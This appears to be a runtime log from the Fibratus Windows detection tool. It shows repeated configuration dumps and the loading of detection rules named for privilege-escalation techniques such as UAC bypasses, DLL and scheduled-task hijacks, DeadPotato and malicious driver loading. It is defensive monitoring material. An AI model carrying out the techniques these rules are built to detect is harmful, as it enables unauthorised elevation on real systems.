enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-mem=>true enable-fileio=>true stack-enrichment=>true flush-interval=>1s enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true min-buffers=>16 enable-net=>true enable-vamap=>true buffer-size=>512 enable-thread=>true max-buffers=>36 enable-audit-api=>true enable-threadpool=>false enable-handle=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 log-stdout=>true level=>info formatter=>text] + output ......................... [ elasticsearch=>[ bulk-workers=>1 servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false healthcheck-interval=>10s index-name=>fibratus enabled=>false template-name=>fibratus healthcheck=>true timeout=>5s healthcheck-timeout=>5s flush-period=>1s trace-log=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ enable-gzip=>false serializer=>json endpoints=>[] enabled=>false tls-insecure-skip-verify=>false timeout=>5s method=>POST] amqp=>[ durable=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false vhost=>/ passive=>false delivery-mode=>transient enabled=>false routing-key=>fibratus exchange=>fibratus timeout=>5s exchange-type=>topic] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-mmaps=>false skip-registry=>false excluded-procs=>[] enabled=>false skip-allocs=>false skip-files=>false scan-timeout=>10s excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-01T18:40:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:40:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:40:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T18:40:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:40:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:48:36+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-01T18:48:36+01:00 level=info msg=bootstrapping with pid 8676. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T18:48:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ flush-interval=>1s enable-audit-api=>true enable-dns=>false stack-enrichment=>true enable-vamap=>true enable-thread=>true max-buffers=>36 enable-registry=>true min-buffers=>16 enable-image=>true enable-mem=>true buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-handle=>false enable-threadpool=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text max-age=>0 max-size=>100 level=>info] + output ......................... [ elasticsearch=>[ healthcheck=>true index-name=>fibratus timeout=>5s trace-log=>false sniff=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 flush-period=>1s enabled=>false healthcheck-timeout=>5s template-name=>fibratus gzip-compression=>false healthcheck-interval=>10s] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false method=>POST serializer=>json endpoints=>[] timeout=>5s enabled=>false] amqp=>[ delivery-mode=>transient vhost=>/ durable=>false enabled=>false tls-insecure-skip-verify=>false passive=>false exchange-type=>topic exchange=>fibratus timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true excluded-procs=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-allocs=>false excluded-files=>[] skip-files=>false skip-mmaps=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-01T18:48:36+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:48:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:48:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T18:48:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:48:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:51:44+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-01T18:51:44+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T18:51:44+01:00 level=info msg=bootstrapping with pid 3452. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T18:51:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true to=>[] port=>25 enabled=>false content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-registry=>true enable-vamap=>true max-buffers=>36 enable-mem=>true min-buffers=>16 enable-audit-api=>true enable-threadpool=>false enable-dns=>false enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-image=>true buffer-size=>512 enable-thread=>true enable-fileio=>true enable-handle=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true level=>info max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s gzip-compression=>false bulk-workers=>1 index-name=>fibratus timeout=>5s trace-log=>false flush-period=>1s servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s enabled=>false healthcheck=>true sniff=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ passive=>false exchange=>fibratus enabled=>false tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient vhost=>/ timeout=>5s durable=>false exchange-type=>topic url=>amqp://localhost:5672] http=>[ enabled=>false serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s method=>POST endpoints=>[]] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-allocs=>false scan-timeout=>10s skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] excluded-files=>[] skip-mmaps=>false fastscan=>true enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-01T18:51:44+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:51:46+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T18:53:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T18:53:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T18:53:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T13:04:07+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T13:04:07+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T13:04:07+01:00 level=info msg=bootstrapping with pid 17300. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T13:04:07+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ content-type=>text/html port=>25 to=>[] enabled=>false use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-registry=>true enable-net=>true enable-fileio=>true stack-enrichment=>true enable-handle=>false buffer-size=>512 enable-vamap=>true enable-thread=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false flush-interval=>1s enable-image=>true max-buffers=>36 enable-mem=>true enable-audit-api=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info formatter=>text log-stdout=>true max-size=>100 max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ timeout=>5s delivery-mode=>transient durable=>false exchange=>fibratus enabled=>false vhost=>/ passive=>false exchange-type=>topic url=>amqp://localhost:5672 routing-key=>fibratus tls-insecure-skip-verify=>false] elasticsearch=>[ bulk-workers=>1 flush-period=>1s index-name=>fibratus template-name=>fibratus healthcheck=>true timeout=>5s healthcheck-timeout=>5s sniff=>false enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s trace-log=>false gzip-compression=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] http=>[ method=>POST tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false timeout=>5s enabled=>false serializer=>json]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false scan-timeout=>10s excluded-files=>[] excluded-procs=>[] skip-registry=>false enabled=>false skip-mmaps=>false skip-allocs=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-02T13:04:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T13:04:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T13:13:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T13:13:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T13:13:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T13:13:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T13:13:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T13:13:40+01:00 level=info msg=bootstrapping with pid 12764. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T13:13:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-vamap=>true enable-threadpool=>false stack-enrichment=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true min-buffers=>16 enable-audit-api=>true max-buffers=>36 enable-handle=>false enable-thread=>true enable-registry=>true flush-interval=>1s enable-image=>true enable-net=>true enable-mem=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 log-stdout=>true level=>info max-backups=>15] + output ......................... [ amqp=>[ vhost=>/ timeout=>5s enabled=>false durable=>false passive=>false url=>amqp://localhost:5672 exchange=>fibratus routing-key=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false delivery-mode=>transient] http=>[ endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s serializer=>json enabled=>false method=>POST] elasticsearch=>[ bulk-workers=>1 enabled=>false servers=>[http://127.0.0.1:9200] healthcheck=>true index-name=>fibratus timeout=>5s gzip-compression=>false flush-period=>1s template-name=>fibratus 